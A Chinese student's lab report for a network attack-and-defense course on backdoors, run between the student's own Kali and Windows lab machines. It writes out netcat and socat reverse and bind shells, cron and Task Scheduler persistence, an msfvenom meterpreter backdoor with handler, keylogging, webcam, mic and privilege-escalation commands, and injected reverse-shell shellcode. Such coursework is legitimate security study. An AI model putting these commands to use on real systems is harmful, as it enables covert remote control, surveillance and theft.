2019-2020-2 20175312 陶光远《网络对抗技术》Exp2 后门原理与实践

2019-2020-2 20175312 陶光远《网络对抗技术》Exp2 后门原理与实践

一、实验目标

1、熟悉后门的概念
2、使用netcat实现win,linux之间的后门连接
3、掌握meterpreter的应用
4、了解MSF POST 模块的应用
5、学会win,linux的后门启动方式

二、基础知识

1、后门概念

就是不经过正常认证流程而访问系统的通道。

2、后门宿主:

(1)编译器留后门
(2)操作系统留后门
(3)应用程序中留后门
(4)潜伏于操作系统中或伪装为特定应用的专用后门程序。

3、后门工具

(1)netcat:又名nc或ncat,是一个底层工具,
(2)soCat:Netcat++,超级netcat工具。
(3)Meterpreter:msfvenom生成的后门可执行文件。

三、实验内容

1、使用netcat获取主机操作Shell,cron启动

1.1、Windows获得Linux Shell

在Windows下使用ipconfig查看本机IP为192.168.3.161

使用ncat.exe程序打开监听ncat.exe -l -p 5312

在kali中反弹连接Windows,ncat 192.168.3.161 5312 -e /bin.sh,使用-e选项执行shell程序

windows已经获得kali的linux Shell

1.2、Linux获得Windows Shell

在kali中使用ip addr查看IP为192.168.137.128

打开监听nc -l -p 5312

在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.137.128 5312

kali成功获得Windows的命令提示

1.3、使用nc传输数据

Windows下监听5312端口,ncat.exe -l 5312

kali反弹连接到Windows的5312端口,nc 192.168.3.161 5312

1.4、使用nc传输文件(将文件从kali传给Windows)

Windows下监听5312端口,并把收到的数据保存到file5312.out中,ncat.exe -l 5312 > file1.out

kali 反弹连接到Windows的5312端口,nc 192.168.3.26 5312 < file1.in

连接建立成功,Windows可以收到kali发来的文件。


1.5、 使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
crontab -e指令增加一条定时任务,-e表示编辑。因为是第一次编辑,故提示选择编辑器,这里选择的是3。

最后一行添加43 * * * * /bin/netcat 192.168.3.161 5312 -e /bin/sh,意思是在每个小时的第43分钟反向连接Windows主机的5312端口。

时间到达43分的时候,如下图所示(如果使用ls命令出现问题,可以使用比较简单的whoami命令,也能验证)

2、使用socat获取主机操作Shell, 任务计划启动

socat是ncat的增强版,它使用的格式是socat [options]

,其中两个address是必选项,而options是可选项。
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

右击此电脑,点击管理点击任务计划程序,再点击创建任务填写任务名,新建一个触发器,选择定时启动

点击操作,在程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5312 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5312,同时把cmd.exe的stderr重定向到stdout上:

创建好后任务准备就绪,到达20.42后,刷新,可以发现之前创建的任务已经开始运行。

此时,在kali中输入输入指令socat - tcp:192.168.3.161:5312,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5312端口,此时可以发现已经成功获得了一个cmd shell

3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=5312 -f exe > 20175312_backdoor.exe,这里的IP地址为控制端IP,即KaliIP,可见已经生成了后门程序“20175312_backdoor.exe”

在Windows下执行ncat.exe -l 5312 > 20175312_backdoor.exe,这样被控主机就进入了接收文件模式,也可以使用ncat.exe -lv 5312 > 20175312_backdoor.exe指令,通过-lv选项看到当前的连接状态,在kali中执行nc 192.168.3.161 5312 < 20175312_backdoor.exe(这里的IP为被控主机IP,即WindowsIP)下面这个图是文件传输成功的截图

在kali上使用msfconsole指令进入msf控制台

输入use exploit/multi/handler使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
set LHOST 192.168.137.128,这里用的是KaliIP,和生成后门程序时指定的IP相同
set LPORT 5312,同样要使用相同的端口

设置完成之后,执行监听,并运行Windows下的后门程序,此时kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

4.1、使用record_mic指令可以截获一段音频(可以使用-d选项设置录制时间)

4.2、使用webcam_snap指令可以使用摄像头进行拍照

4.3、使用keyscan_start指令记录下击键的过程,使用keyscan_dump指令读取击键记录。

4.4、使用screenshot指令可以进行截屏:

4.5、使用getuid指令查看当前用户,使用getsystem指令进行提权操作

5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

在官网上下载Linux/x86 - Reverse(127.0.0.1:4444/TCP) Shell (/bin/sh) Shellcode (96Bytes)这个文件
注入Shellcode(参考实验一步骤三的过程)
在第一个终端里关闭地址随机化,输入echo "0" > /proc/sys/kernel/randomize_va_space
在第一个终端中运行pwn1之后不回车
在第二个终端中输入ps -ef | grep pwn1查看pwn1的进程号

用GDB追踪该进程,找到栈顶(esp)中存放的地址

在第一个终端中中断pwn1运行
在第二个终端中注入input_shellcode:
perl -e 'print "A" x 32;print"\xb0\xd6\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
在第一个终端中打开msf控制台,依次输入:
use exploit/multi/handler,设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1,设置ip
set LPORT 4444,设置端口
show options,查看选项
exploit ,设置完成,开始监听
运行shellcode
在第二个终端输入(cat input_shellcode;cat) | ./pwn1运行pwn1文件,在第一个终端中可以看到已经成功调取了shell

四、问题与解决

1、如下图,ncat无法成功的监听

我在检查了网络适配器后发现,本机并没有v1和v8两个适配器,也就是说,是vm除了问题,我查找资料后了解到,这可能是由于升级/安装vm时原适配器未完全删除的原因,我彻底重装了vm后可以正常使用ncat

2、如下图,ifconfig无法使用

我下载了相关的包后即可正常使用,也可以直接使用ip addr代替

3、如下图,连接尝试失败


我本以为是防火墙没彻底关闭的问题,但关了以后依然无法使用,最后发现还是适配器的问题,重安以后忘了在vm里处理适配器的细节设定,导致主机无法ping通kali

五、基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
在钓鱼网站中被动下载某些应用程序,这些程序有可能会绑定某些可执行文件,留下后门。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Windows:设置开机启动、用户执行带后门的执行文件。
Linux:Crontab、shellcode注入。
(3)Meterpreter有哪些给你映像深刻的功能?
通过后门控制被控主机的shell,可以获取主机的各种信息文件
(4)如何发现自己有系统有没有被安装后门?
下载运行安全软件,定时检测系统有无异常

六、实验总结与体会

本次实验中具体的实验操作并没有太大的难度,唯有我的虚拟机与主机间的连接出了问题,卸载vm重装、重安虚拟机浪费了很多时间。
我在这次实验中学习并实践了有关后门的原理,成功的完成了相关任务,解决了遇到的各种问题,我相信在之后的学习中我能做的更好。

posted @ 2020-03-15 18:42  20175312陶光远  阅读(207)  评论(0编辑  收藏  举报
levels of contents